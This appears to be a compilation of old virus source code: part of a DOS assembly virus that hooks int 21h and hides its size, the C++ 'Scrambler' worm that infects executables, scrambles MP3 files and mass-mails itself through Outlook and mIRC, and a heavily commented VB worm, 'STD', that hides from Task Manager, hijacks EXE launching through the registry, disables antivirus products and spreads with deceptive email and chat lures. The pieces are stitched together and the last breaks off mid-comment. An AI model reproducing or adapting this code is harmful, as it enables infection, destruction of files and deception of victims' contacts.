;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; Diz comparez 2 stringz sub_1149 proc near push di lodsb ; gimme bytez_count mov cl, al ; store it 2 cx mov ax, si ; gimme si add ax, cx ; add bytez_count 2 offset repe cmpsb ; compare mov si, ax ; store new_offset pop di retn ; and end ...
sub_1149
endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; Diz checkz whether there'z a viruz in the file or not ... ; and if not returnz in ax the value which iz 4 infected sub_1157 proc near push dx mov ax, es:[bx+2] ; gimme date xor dx, dx div word ptr cs:[date_div-p]; div it mov ax, es:[bx] ; gimme time and al, 1Fh ; and it cmp al, dl ; the same ? stc ; set Cflag (infected) jz short loc_1176 mov ax, es:[bx] ; gimme time and ax, 0FFE0h ; and it or al, dl ; or it with date clc ; clear Cflag (not infected) loc_1176: pop dx retn ; and end ... sub_1157 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; Sub viruz_size sub_1178 proc near sub word ptr es:[bx], offset buffer - p; sub viruz_file sbb word ptr es:[bx+2], 0 jnc short loc_ret_118E ; underflow ? add word ptr es:[bx], offset buffer - p; yope adc word ptr es:[bx+2], 0 ; so add it back loc_ret_118E: retn sub_1178 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ; Diz iz main infection routine ... sub_118F proc near push ax push bx push cx push si ; push regz push di push bp push ds push es call sub_1034 ; set my int_24h mov ax, 4300h ; gimme file_attribz call int_21h mov cs:[file_attribz - p], cx; store it mov ax, 4301h ; set new attribz xor cx, cx ; no attribz
call int_21h jc short loc_11D3 ; error ? mov ax, 3D02h ; open file 4 read_&_write call int_21h jc short loc_11CA ; error ? push dx push ds push cs pop ds push cs pop es mov ds:[handle - p], ax ; store handle call sub_0E7C ; ok infect the file mov ah, 3Eh call sub_0E6F ; close file pop ds pop dx loc_11CA: mov ax, 4301h ; set back old_attribz db 0b9h ; mov cx, ? file_attribz dw 20h call int_21h loc_11D3: call sub_1052 ; set back old_int_24h pop es pop ds pop bp pop di pop si ; restore regz pop cx pop bx pop ax retn ; and end ... sub_118F endp new_int_21h: pushf sti cmp ah, 11h ; je short loc_11EB cmp ah, 12h ; jne short loc_121A loc_11EB: db 0ebh fcb_jmp_ db 0 push bx push es push ax mov ah, 2Fh ; call int_21h pop ax call int_21h cmp al, 0FFh ; je short loc_1216 push ax ; cmp byte ptr es:[bx], jne short loc_1207 add bx, 7 ; loc_1207: add bx, 17h ; call sub_1157 pop ax jnc short loc_1216
find_first_FCB_file ? find next_FCB_file ?
gimme DTA_addr
; do FCB_function did we find something ? yope 0FFh
; extended FCB ?
yope so jump over ext_FCB go2 time ; check whether infected ; already infected ?
add bx, 6 ; go2 file_size call sub_1178 ; sub viruz_size loc_1216: ; nope pop es pop bx popf iret loc_121A: cmp ah, 4Eh ; find_first_file ? je short loc_1224 cmp ah, 4Fh ; find_next_file ? jne short loc_1250 loc_1224: push bx push es push ax mov ah, 2Fh ; gimme DTA_addr call int_21h pop ax call int_21h ; do find_function jc short loc_1249 ; error ? push ax add bx, 16h ; go2 time call sub_1157 ; check whether infected pop ax jnc short loc_1242 ; already infected ? add bx, 4 ; go2 file_size call sub_1178 ; sub viruz_size loc_1242: ; nope pop es pop bx ; restore regz popf clc ; clear error_flag retf 2 ; and end ... loc_1249: ; yope pop es pop bx ; restore regz popf stc ; set error_flag retf 2 ; and end ... loc_1250: cmp ax, 4B53h ; it'z mark ? jne short loc_125A mov ax, 454Bh ; yope so get 454bh popf iret ; and end ... loc_125A: cmp ah, 4Ch ; prog'z_end ? jne short loc_1265 mov byte ptr cs:[fcb_jmp_ - p], 0 loc_1265: cld push dx cmp ax, 4B00h ; run_prog ? jne short loc_12A9 db 0ebh run_jmp db offset loc_12a7 - ($ + 1) push ax push bx push ds ; push regz push es mov ah, 52h ; gimme list_of_listz call int_21h
mov ax, es:[bx-2] ; gimme first_mcb loc_127B: mov ds, ax add ax, ds:[3] ; go2 next mcb_block inc ax cmp byte ptr ds:[0], 5Ah ; last_one ? jne loc_127B mov bx, cs ; yope cmp ax, bx ; it'z our mcb_block ? jne short loc_129D mov byte ptr ds:[0], 4Dh ; make middle_block xor ax, ax mov ds, ax add word ptr ds:[413h], 4 ; add 4K 2 mem which we took loc_129D: mov byte ptr cs:[run_jmp-p], offset loc_12a7 - (run_jmp + 1) pop es ; now jump 2 loc_12a7 pop ds pop bx ; restore regz pop ax loc_12A7: jmp short loc_12FD loc_12A9: cmp ah, 3Dh ; open_file ? je short loc_12FD cmp ah, 56h ; rename_file ? je short loc_12FD cmp ax, 6C00h ; ext_open_found ? jne short loc_12C1 test dl, 00010010b ; action 02h or/and 10h ? mov dx, si jz short loc_12FD jmp short loc_1307 ; yope loc_12C1: cmp ah, 3Ch ; found_file ? je short loc_1307 cmp ah, 5Bh ; make_new_file ? je short loc_1307 cmp ah, 3Eh ; close_file ? jne short loc_12F6 cmp bx, word ptr cs:[ext_handle - p]; do we have jne short loc_12F6 ; something 2 infect ? or bx, bx ; handle is null ? jz short loc_12F6 call int_21h ; close it jc short loc_1323 push ds push cs pop ds mov dx, offset ext_file_name - p; gimme file_name call sub_118F ; and infect it mov word ptr ds:[ext_handle - p], 0; nulluj ext_handle pop ds loc_12F0: pop dx popf clc ; clear error_flag retf 2 ; and end ... loc_12F6: pop dx popf ; jmp 2 old_int_21h jmp dword ptr cs:[old_int_21h - p__] loc_12FD:
call sub_1098 ; check 4 file_name & disk jc loc_12F6 ; error ? call sub_118F ; infect it jmp short loc_12F6 loc_1307: cmp word ptr cs:[ext_handle - p], 0 jne loc_12F6 ; ext_file already founded ? call sub_1098 ; check 4 file_name & disk jc loc_12F6 ; error ? mov word ptr cs:[file_offset - p], dx; store file_name_ pop dx ; _offset push dx call int_21h ; found it db 0bah ; mov dx, ? file_offset dw 45cch jnc short loc_1329 ; error ? loc_1323: ; yope pop dx popf stc ; set error_flag retf 2 ; and end ... loc_1329: push cx push si push di ; ok push es ; move file_name xchg si, dx ; 2 our buffer mov di, offset ext_handle - p push cs pop es stosw ; and store handle of course mov cx, 4Bh ; move 4bh bytez rep movsb ; and finally move pop es pop di pop si ; restore regz pop cx jmp short loc_12F0 ; and end ... ; db ; run_counter buffer three_bytez
'Did you leave the room ?' dw db db
04FBh 160h dup(?) ? ; offset 14bah ; instr_buffer - 3 ; 0e9h disp16 haz 3 bytez ... ? ; offset 14bbh db 10 dup(?) ; offset 14bdh 1ah dup(?) ; offset 14c7h ? ; offset 14e1h dd ? ; offset 14e5h ? ; offset 14e9h db 4bh dup(?) ; offset 14ebh 4bh dup(?) ; offset 1536h
handle dw instr_buffer file_buffer db old_int_24h dd file_time_date ext_handle dw ext_file_name name_buffer db ; seg_a ends end start
/* Virus Name: Scrambler Version: B Type: Win32 EXE Prepender / I-Worm Author: Gigabyte Homepage: http://gigabyte.coderz.net */ #include #include #include #include
<windows.h>
using namespace std; char char char char FILE
hostfile[MAX_PATH], CopyHost[MAX_PATH], Virus[MAX_PATH]; Buffer[MAX_PATH], mp3[MAX_PATH], mp3copy[MAX_PATH], checksum[2]; gbmark[2], CopyName[10], ScramFile[MAX_PATH], FullPath[MAX_PATH]; WinScript[MAX_PATH], DirToInfect[MAX_PATH], RepairHost[MAX_PATH]; *scrambler;
void VirCheck(char SRCFileName[]) { FILE *SRC; char Buffer[1]; short Counter = 0; int v = 0; SRC = fopen(SRCFileName, "rb"); if(SRC) { for (v = 0; v < 19; v ++) { Counter = fread(Buffer, 1, 1, SRC); } strcpy(checksum, Buffer); for (v = 0; v < 1; v ++) { Counter = fread(Buffer, 1, 1, SRC); } strcat(checksum, Buffer); } fclose(SRC); } void WriteVirus(char SRCFileName[], char DSTFileName[]) { FILE *SRC, *DST; char Buffer[1024]; short Counter = 0; int v = 0; SRC = fopen(SRCFileName, "rb"); if(SRC) { DST = fopen(DSTFileName, "wb"); if(DST) { for (v = 0; v < 4928; v ++) { Counter = fread(Buffer, 1, 8, SRC);
if(Counter) fwrite(Buffer, 1, Counter, DST); } } } fclose(SRC); fclose(DST); } void AddOrig(char SRCFileName[], char DSTFileName[]) { FILE *SRC, *DST; char Buffer[1024]; short Counter = 0; SRC = fopen(SRCFileName, "rb"); if(SRC) { DST = fopen(DSTFileName, "ab"); if(DST) { while(! feof(SRC)) { Counter = fread(Buffer, 1, 1024, SRC); if(Counter) fwrite(Buffer, 1, Counter, DST); } } } fclose(SRC); fclose(DST); } void CopyOrig(char SRCFileName[], char DSTFileName[]) { FILE *SRC, *DST; char Buffer[1024]; short Counter = 0; int v = 0; SRC = fopen(SRCFileName, "rb"); if(SRC) { DST = fopen(DSTFileName, "wb"); if(DST) { for (v = 0; v < 4928; v ++) { Counter = fread(Buffer, 1, 8, SRC); if(Counter) fwrite(Buffer, 0, 0, DST); } while(! feof(SRC)) { Counter = fread(Buffer, 1, 1024, SRC); if(Counter) fwrite(Buffer, 1, Counter, DST); } } } fclose(SRC); fclose(DST); }
bool FileExists(char *FileName) { HANDLE Exists; Exists = CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0); if(Exists == INVALID_HANDLE_VALUE) return false; CloseHandle(Exists); return true; } void Scramble(char SRCFileName[], char DSTFileName[]) { FILE *SRC, *DST; char Buffer[60000]; Buffer == 0; short Counter = 0; int v = 0; SRC = fopen(SRCFileName, "rb"); if(SRC) { DST = fopen(DSTFileName, "wb"); if(DST) { for (v = 0; v < 40; v ++) { if(!fseek(SRC, 204800, SEEK_CUR)) { Counter = fread(Buffer, 1, 60000, SRC); if(Counter) { if(!fseek(DST, 104448, SEEK_CUR)) { fwrite(Buffer, 1, 60000, DST); } } } } } } fclose(SRC); fclose(DST); } void ScrambleMP3(char FolderSearch[]) { WIN32_FIND_DATA FindData; HANDLE FoundFile; char FolderSearch2[MAX_PATH]; strcpy(FolderSearch2, FolderSearch); strcat(FolderSearch2,"\\*.mp3"); FoundFile = FindFirstFile(FolderSearch2, &FindData); if(FoundFile != INVALID_HANDLE_VALUE) { do { if(FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { } else { GetWindowsDirectory(Buffer,MAX_PATH); _chdir(Buffer);
_chdir("system"); strcpy(mp3, FolderSearch); strcat(mp3, "\\"); strcat(mp3, FindData.cFileName ); strcpy(mp3copy, "mp3.tmp"); CopyFile(mp3, mp3copy, FALSE); Scramble(mp3copy,mp3); _unlink(mp3copy); } } while (FindNextFile(FoundFile, &FindData)); FindClose(FoundFile); } } void HDDSearch(char Path[]) { WIN32_FIND_DATA FindData; HANDLE FoundFile; char Path2[MAX_PATH], Folder[MAX_PATH]; strcpy(Path2, Path); strcat(Path2, "\\*.*"); FoundFile = FindFirstFile(Path2, &FindData); if(FoundFile != INVALID_HANDLE_VALUE) { do { if(FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { strcpy(Folder, Path); strcat(Folder, "\\"); strcat(Folder, FindData.cFileName); if(FindData.cFileName[0] !='.') { HDDSearch(Folder); ScrambleMP3(Folder); } } } while (FindNextFile(FoundFile, &FindData)); FindClose(FoundFile); } } void ScriptFile() { GetWindowsDirectory(Buffer,MAX_PATH); fprintf(scrambler,"[script]\nn0=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }\nn1=/dcc send $nick"); fprintf(scrambler," %s%csystem%c%s\nn2=}\n", Buffer, 92, 92, CopyName); } void main(int argc, char **argv) { cout << "Scrambler" << endl; cout << "by Gigabyte" << endl; srand( (unsigned)time( NULL ) ); for(int t = 0; t < 5; t++) CopyName[t] =char(97 + (rand() % 10)); CopyName[5] = '.';
CopyName[6] = CopyName[8] = 'e'; CopyName[7] = 'x'; CopyName[9] = NULL; strcpy(Virus, argv[0]); GetWindowsDirectory(Buffer,MAX_PATH);
strcpy(FullPath, Buffer); strcat(FullPath, "\\system\\"); strcat(FullPath, CopyName); WriteVirus(Virus, FullPath); WIN32_FIND_DATA FindData; HANDLE FoundFile; strcat(DirToInfect, Buffer); strcat(DirToInfect, "\\*.exe"); FoundFile = FindFirstFile(DirToInfect, &FindData); if(FoundFile != INVALID_HANDLE_VALUE) { do { if(FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { } else { GetWindowsDirectory(Buffer,MAX_PATH); _chdir(Buffer); _chdir("system"); strcpy(hostfile, Buffer); strcat(hostfile, "\\"); strcat(hostfile, FindData.cFileName); VirCheck(hostfile); strcpy(gbmark,"gb"); if(FindData.cFileName[3] != 'D') { if(FindData.cFileName[0] != 'P') { if(FindData.cFileName[0] != 'R') { if(FindData.cFileName[0] != 'E') { if(FindData.cFileName[0] != 'T') { if(FindData.cFileName[0] != 'W') { if(FindData.cFileName[0] != 'w') { if(FindData.cFileName[5] != 'R') { if(checksum[1] != gbmark[1]) { strcpy(CopyHost, "host.tmp"); CopyFile(hostfile, CopyHost, FALSE);
strcpy(Virus, argv[0]); CopyFile(FullPath, hostfile, FALSE); AddOrig(CopyHost, hostfile); _unlink("host.tmp"); }}}}}}}}} } } while (FindNextFile(FoundFile, &FindData)); FindClose(FoundFile); } if(FileExists("c:\\mirc\\mirc32.exe")) { FoundFile = FindFirstFile("c:\\mirc\\download\\*.exe", &FindData); if(FoundFile != INVALID_HANDLE_VALUE) { do { if(FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { } else { _chdir(Buffer); _chdir("system"); strcpy(hostfile, "c:\\mirc\\download\\"); strcat(hostfile, FindData.cFileName ); VirCheck(hostfile); strcpy(gbmark,"gb"); if(checksum[1] != gbmark[1]) { strcpy(CopyHost, "host.tmp"); CopyFile(hostfile, CopyHost, FALSE); WriteVirus(Virus, hostfile); AddOrig(CopyHost, hostfile); _unlink("host.tmp"); } } } while (FindNextFile(FoundFile, &FindData)); FindClose(FoundFile); } } scrambler = fopen("c:\\mirc\\script.ini","wt"); if(scrambler) { ScriptFile(); fclose(scrambler); } scrambler = fopen("c:\\PROGRA~1\\mirc\\script.ini","wt"); if(scrambler) { ScriptFile(); fclose(scrambler); }
scrambler = fopen("d:\\mirc\\script.ini","wt"); if(scrambler) { ScriptFile(); fclose(scrambler); } scrambler = fopen("d:\\PROGRA~1\\mirc\\script.ini","wt"); if(scrambler) { ScriptFile(); fclose(scrambler); } scrambler = fopen("e:\\mirc\\script.ini","wt"); if(scrambler) { ScriptFile(); fclose(scrambler); } scrambler = fopen("e:\\PROGRA~1\\mirc\\script.ini","wt"); if(scrambler) { ScriptFile(); fclose(scrambler); } scrambler = fopen("f:\\mirc\\script.ini","wt"); if(scrambler) { ScriptFile(); fclose(scrambler); } scrambler = fopen("f:\\PROGRA~1\\mirc\\script.ini","wt"); if(scrambler) { ScriptFile(); fclose(scrambler); } strcpy(RepairHost, Buffer); strcat(RepairHost, "\\system\\hostfile.exe"); CopyOrig(Virus, RepairHost); strcpy(ScramFile, Buffer); strcat(ScramFile, "\\system\\scram.sys"); if(FileExists(ScramFile) == false) HDDSearch("c:"); strcpy(WinScript, Buffer); strcat(WinScript, "\\wscript.exe"); if(FileExists(WinScript)) { if(FileExists("scram.sys") == false) { scrambler = fopen("scrambler.vbs","wt"); if(scrambler) { fprintf(scrambler,"On Error Resume Next\n"); fprintf(scrambler,"Dim scrambler, Mail, Counter, A, B, C, D, E, F\n");
fprintf(scrambler,"Set scrambler = CreateObject(%coutlook.application%c)\n", 34, 34); fprintf(scrambler,"Set Mail = scrambler.GetNameSpace(%cMAPI%c)\n", 34, 34); fprintf(scrambler,"For A = 1 To Mail.AddressLists.Count\n"); fprintf(scrambler,"Set B = Mail.AddressLists(A)\n"); fprintf(scrambler,"Counter = 1\n"); fprintf(scrambler,"Set C = scrambler.CreateItem(0)\n"); fprintf(scrambler,"For D = 1 To B.AddressEntries.Count\n"); fprintf(scrambler,"E = B.AddressEntries(Counter)\n"); fprintf(scrambler,"C.Recipients.Add E\n"); fprintf(scrambler,"Counter = Counter + 1\n"); fprintf(scrambler,"If Counter > 90 Then Exit For\n"); fprintf(scrambler,"Next\n"); fprintf(scrambler,"C.Subject = %cCheck this out, it's funny!%c\n", 34, 34); fprintf(scrambler,"C.Attachments.Add %c%s%csystem%c%s%c\n", 34, Buffer, 92, 92, CopyName, 34); fprintf(scrambler,"C.DeleteAfterSubmit = True\n"); fprintf(scrambler,"C.Send\n"); fprintf(scrambler,"E = %c%c\n", 34, 34); fprintf(scrambler,"Next\n"); fprintf(scrambler,"Set F = CreateObject(%cScripting.FileSystemObject%c)\n", 34, 34); fprintf(scrambler,"F.DeleteFile Wscript.ScriptFullName\n"); fclose(scrambler); } ShellExecute(NULL, "open", "scrambler.vbs", NULL, NULL, SW_SHOWNORMAL); } } _chdir(Buffer); scrambler = fopen("winstart.bat", "wt"); if(scrambler) { fprintf(scrambler,"@cls\n"); fprintf(scrambler,"@echo Today..\n"); fprintf(scrambler,"@echo I'm going to scramble your mind..\n"); } fclose(scrambler); scrambler = fopen(ScramFile, "wt"); if(scrambler) { fprintf(scrambler, "Scrambler\n"); fprintf(scrambler, "by Gigabyte\n"); fclose(scrambler); } _chdir("system"); if(FileExists(RepairHost)) WinExec(RepairHost, SW_SHOWNORMAL); _unlink("hostfile.exe"); }
Attribute VB_Name = "STD" 'STD v1.0 by Error of Team Necrosis ' Commented by Error, pardon my commenting style ' ********W32.HLLP.STD.worm Source********* ' STD is a Memory-Resident EXE prepender with ' Worm functions for Outlook and mIRC Public myDNA, myRNA, MyCode, STD, Grime, MySTD As String Public FDateTime, oldDate, FDate, OldTime, FTime As String Const MySize = 17920 Const RSP_SIMPLE_SERVICE = 1 Const RSP_UNREGISTER_SERVICE = 0 Private iResult, hProg, idprog, iExit As Long Const STILL_ACTIVE As Long = &H103 Const PROCESS_ALL_ACCESS As Long = &H1F0FFF Const Notification = "Hey, sorry I haven't written to you in a while. " & _ "Well you could call it a while. I'm writing this E-mail " & _ "to let you know of an attachment im sending with the next mail." Const Notify = "Here is the e-mail attachment I told you about earlier, " & _ "It's an installation program for " Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As Long Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Sub Form_Load() ' I put STD into a form because if you compile ' it into a module you wont be able to chose ' what default icon STD will have, and it ends ' up with a nasty baby blue and white form. ' Which is very noticable since STD's icon ' becomes the infected EXE's icon. i then made ' the MS-DOS Program Icon as the default icon ' NOTE: Make sure you make the form set to ' visbile = false and showintaskbar = false On Error Resume Next Dim process As Long process = GetCurrentProcessId() ' This gets STD's process handle so it can ' manipulate itself Call RegisterServiceProcess(process, RSP_SIMPLE_SERVICE) ' Now STD is hidden from ALT+CTRL+DEL and ' Task Manager. This will take up kernel ' processing up to 99.9% but it will allocate ' any needed kernel processing for other ' programs and still remain hidden. Call AIDS ' AIDS = Registry Modifications to disable ' McAfee/Norton, have STD startup on windows ' load, make STD go memory-resident, and to ' modify mIRC scripting myDNA = App.EXEName If Right(App.Path, 1) <> "\" Then myRNA = App.Path & "\" End If ' The above will get the present filename of ' STD's host which has been executed myRNA = myRNA & myDNA & ".exe" ' ************MEMORY-RESIDENT AREA***********
If UCase(myRNA) = "C:\WINDOWS\SYSTEM\SYSTRAY_.EXE" Then ' STD places its code into the file: ' C:\WINDOWS\SYSTEM\SYSTRAY_.EXE ' This is called the Exe-Hooker (yes i said ' hooker). Whenever a exe is executed this file ' will be executed first, sending the running ' exe's full pah name and parameters to this ' files commandline STD = Command() ' Get the running exe's path name and parameters For X = 1 To Len(STD) strck = UCase(Mid(STD, X, 1)) Grime = Grime + strck If Right(Grime, 5) = ".EXE " Then ' Extract the exe name from the parameters Grime = Left(Grime, Len(Grime) - 1) MySTD = Right$(STD, Len(STD) - X) ' Grime = full path of the running exe ' MySTD = all the exe's parameters GoTo Trine End If Next X Trine: ff = FreeFile ' use freefiles so you dont get file i/o errors FDateTime = FileDateTime(Grime) ' Get the files Date/Time Stamp For w = 1 To Len(FDateTime) Scan = Mid(FDateTime, w, 1) If Scan = " " Then FDate = FDate + Scan ' Extract the Time FTime = Mid(FDateTime, w + 1, Len(FDateTime) - w) GoTo GotStamp End If ' Extract the Date FDate = FDate + Scan Next w GotStamp: oldDate = Date$ ' Get and store the original system date OldTime = Time$ ' Get and store the original system time Date = FDate ' Change the system Date to the files date Time = FTime ' Change the system Time to the files time ' This will keep the file's date/time stamp ' preserved (Is this a first for a VB virus?) Open Grime For Binary Access Read As ff ' Open the running exe Dim Original As String Original = Space(LOF(ff)) ' set a buffer to include the entire exe file's ' contents (I've seen exe's 126 meg being stored ' as a string in VB) Get #ff, 1, Original ' Start at the beginning of the file and get the ' entire contents of the file If UCase(Right(Original, 3)) = "STD" Then ' After getting the contents, check to see if ' the last 3 characters in a file are "STD" ' if so, that means the file is already infected
' and the original file needs to be ran ASAP Call Original_Jump ' Original_Jump = run the original exe End If Close #ff ' if the file isnt infected: Open myRNA For Binary Access Read As #2 ' open the Exe hooker file Dim Herpes As String Herpes = Space(MySize) Get #2, 1, Herpes ' Get the virus from the file Close #2 Open Grime For Binary Access Write As ff Put #ff, 1, Herpes ' Place the virus at the beginning of the Exe Put #ff, MySize, Original ' Right after STD, place the original Exe code Put #ff, LOF(ff) + 3, "STD" ' Mark the file infected with "STD" as the last ' 3 characters in a file Close #ff Call Original_Jump ' Run the original exe End If ' ********END OF MEMORY-RESIDENT CODE********* InFx_SYS ' InFx_SYS starts the infection of the system ' and makes STD go resident End Sub Public Sub InFx_SYS() On Error Resume Next Kill "C:\windows\system\systray_.exe" ' Kill any non-working installations ff = FreeFile Open myRNA For Binary Access Read As #ff ' Open the running file Dim MyCode As String MyCode = Space(MySize) Get #ff, 1, MyCode ' Extract STD from the file Close Open "C:\windows\system\systray_.exe" For Binary Access Write As #ff Put #ff, 1, MyCode ' Place STD in the Exe Hooker file Put #ff, LOF(ff) + 3, "STD" ' Mark the file infected so it wont infect ' itself Close FileCopy "C:\windows\system\systray_.exe", "C:\windows\system\runtray_.dll" ' copy the Exe Hooker file to another file for ' mailing purposes Call Original_Jump ' Run the original exe End Sub Public Sub AIDS() ' This modifies windows registry, disables AV ' products and mIRC sending stuff ' NOTE: this is ran every exe execution as well On Error Resume Next w = Chr(34) ' for saving space (And lots of it) Open "C:\ModReg.reg" For Output As #1
Print #1, "REGEDIT4" Print #1, Print #1, "[HKEY_CLASSES_ROOT\exefile\shell\open\command]" Print #1, "@=" & w & "\" & w & "C:\\windows\\system\\systray_.exe\" & w & " %1 %*" & w ' Most important command of STD is above ' This forces Windows to run all exe's through ' STD's Exe Hooker file along with their ' parameters. Once windows is restarted after ' system infection, STD will go into hardend ' residency. Windows will depend on the Exe ' Hooker to run all exe's and therefore STD ' cannot be deleted in a windows session. And ' if they delete it in DOS, no exes will run ' until the rewrite the registry Print #1, Print #1, "[HKEY_LOCAL_MACHINE\Software\McAfee\Scan95]" Print #1, w & "SerialNum" & w & "=" & w & "STD v1.0 by Error of TN" & w Print #1, w & "CurrentVersionNumber" & w & "=" & w & "666" & w Print #1, w & "DAT" & w & "=" & w & "NONE" & w Print #1, w & "DATFile" & w & "=" & w & "-2000" & w Print #1, w & "VirusInfoURL" & w & "=" & w & "http://www.norton.com" & w Print #1, w & "bVShieldEnabled" & w & "=dword:00000000" ' Disable McAfee's scanner, DAT files, and ' VShield Print #1, Print #1, "[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]" Print #1, w & "SystemTray" & w & "=" & w & "C:\\Windows\\system\\systray_.exe" & w ' Start STD on every windows startup Close #1 If Dir("C:\mirc", vbDirectory) <> "" Then Open "C:\mirc\script.ini" For Output As #1 ' Modify script.ini for STD sending Print #1, "[script]" Print #1, "n0= on 1:TEXT:*sex*:#:{" ' Everytime someone types in sex, sexy, etc ' in a Channel... Print #1, "n1= .msg $nick Hello, sorry to disturb you, but I just got a very kinky adult slideshow and was wondering if you would like a copy. So I'm going to send you one." ' STD will message them with this... Print #1, "n2= .copy C:\windows\system\runtray_.dll C:\windows\system\install_show.exe" ' rename the mailing file to this false name Print #1, "n3= .dcc send $nick C:\windows\system\install_show.exe" ' and DCC send it to the person who typed in sex ' BTW 'sex' is the 2nd most common subject/word ' typed in chats (right after a/s/l) Print #1, "n4= }" ' end the mIRC sending stuff Close End If modify = Shell("regedit /s C:\ModReg.reg", vbHide) ' run the Registry modifications in a background ' process Kill "C:\ModReg.reg" ' delete any of its traces Kill "C:\Program Files\Norton AntiVirus\*.dat" ' delete Norton's DAT files End Sub Public Function IGotWyrms(Subject1 As String, Body1 As String, Optional Attachment1 As String) On Error Resume Next ' MAPI Mailing technique got from my other virus ' W97M/Revolution ' http://teamnecrosis.20m.com/VC.html for stuff
Dim S_and_M, B_and_D, Spawnme Set S_and_M = CreateObject("Outlook.Application") Set B_and_D = S_and_M.GetNameSpace("MAPI") If S_and_M = "Outlook" Then B_and_D.Logon "Guest", "password" For y = 1 To B_and_D.AddressLists.Count ' get # of addybooks in Outlook Set AddyBook = B_and_D.AddressLists(y) X = 1 Set Spawnme = S_and_M.CreateItem(0) For oo = 1 To AddyBook.AddressEntries.Count peep = AddyBook.AddressEntries(X) Spawnme.Recipients.Add peep X = X + 1 If X > 100 Then oo = AddyBook.AddressEntries.Count ' in each Addybook send STD to the first 100 ppl Next oo Spawnme.Subject = Subject1 ' Subject1 = "Hey" (on authorization mail) or ' "Here it is" (on Attachment mail) Spawnme.Body = Body1 ' the body varies.... see Original_Jump If Attachment1 <> "" Then Spawnme.Attachments.Add Attachment1 ' as above End If Spawnme.Send peep = "" Next y B_and_D.Logoff End If End Function Public Sub Original_Jump() On Error Resume Next If Grime = "" Or Grime = Empty Then Grime = myRNA ' make sure STD gets the file to run If Original = "" Or Original = Empty Then Open Grime For Binary Access Read As #3 Original = LOF(3) - MySize If Original = 0 Then End ' if the file = pure source of STD then end Dim GetOrig As String GetOrig = Space(Original) Get #3, MySize, GetOrig ' get the original code of the running exe Close #3 End If hideit = Left(Grime, Len(Grime) - 4) hideit = hideit & ".vxv" Open hideit For Binary Access Write As #10 Put #10, , GetOrig ' place the code in a temporary file with the ' same exe name but ".vxv" extension Close #10 Close Dim idprog As Long Date = oldDate Time = OldTime ' Restore system date/time if needed idprog = Shell(hideit & " " & MySTD, vbNormalFocus) ' run the original exe AND its parameters via ' running the original code from a temporary ' file
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idprog) GetExitCodeProcess hProg, iExit Do While iExit = STILL_ACTIVE DoEvents GetExitCodeProcess hProg, iExit ' monitor the running exe from the temp file ' and have STD remain resident using 2K bytes ' of memory to run. This is what prohibits ' STD from being deleted in a Windows session ' along with windows requiring that file Loop Kill hideit Kill hideit ' As soon as the program has ended delete the ' temp file (2 times to ensure deletion) Randomize Timer ' Base random number gen on the time RandSend = Int(Rnd(1) * 20) + 1 If RandSend = 5 Then ' NOTE: to view mail messages see the ' declarations at the top of STD's code ' STD will send itself via Outlook 1 out of 20 ' exe executions upon the infected machine Call IGotWyrms("Hey", Notification, "") ' send the authorization mail telling all users ' that the next E-mail will have an attachment ' "Social engineering at its finest" - Evul Name "C:\windows\system\runtray_.dll" As "C:\windows\install_.exe" ' rename the mail file to a fake name Randomize Timer Dim Note As String randmsg = Int(Rnd(1) * 5) + 1 If randmsg = 1 Then Note = Notify & "an adult screensaver slideshow program" If randmsg = 2 Then Note = Notify & "an Outlook Service Release upgrade" If randmsg = 3 Then Note = Notify & "a Microsoft Explorer Patch" If randmsg = 4 Then Note = Notify & "a Desktop Game I got off the internet" If randmsg = 5 Then Note = Notify & "a brand-new MP3 player and plug-ins" Call IGotWyrms("Here it is", Note, "C:\windows\install_.exe") ' STD will send itself disguised as one of the ' above programs Name "C:\windows\install_.exe" As "C:\windows\system\runtray_.dll" ' rename the 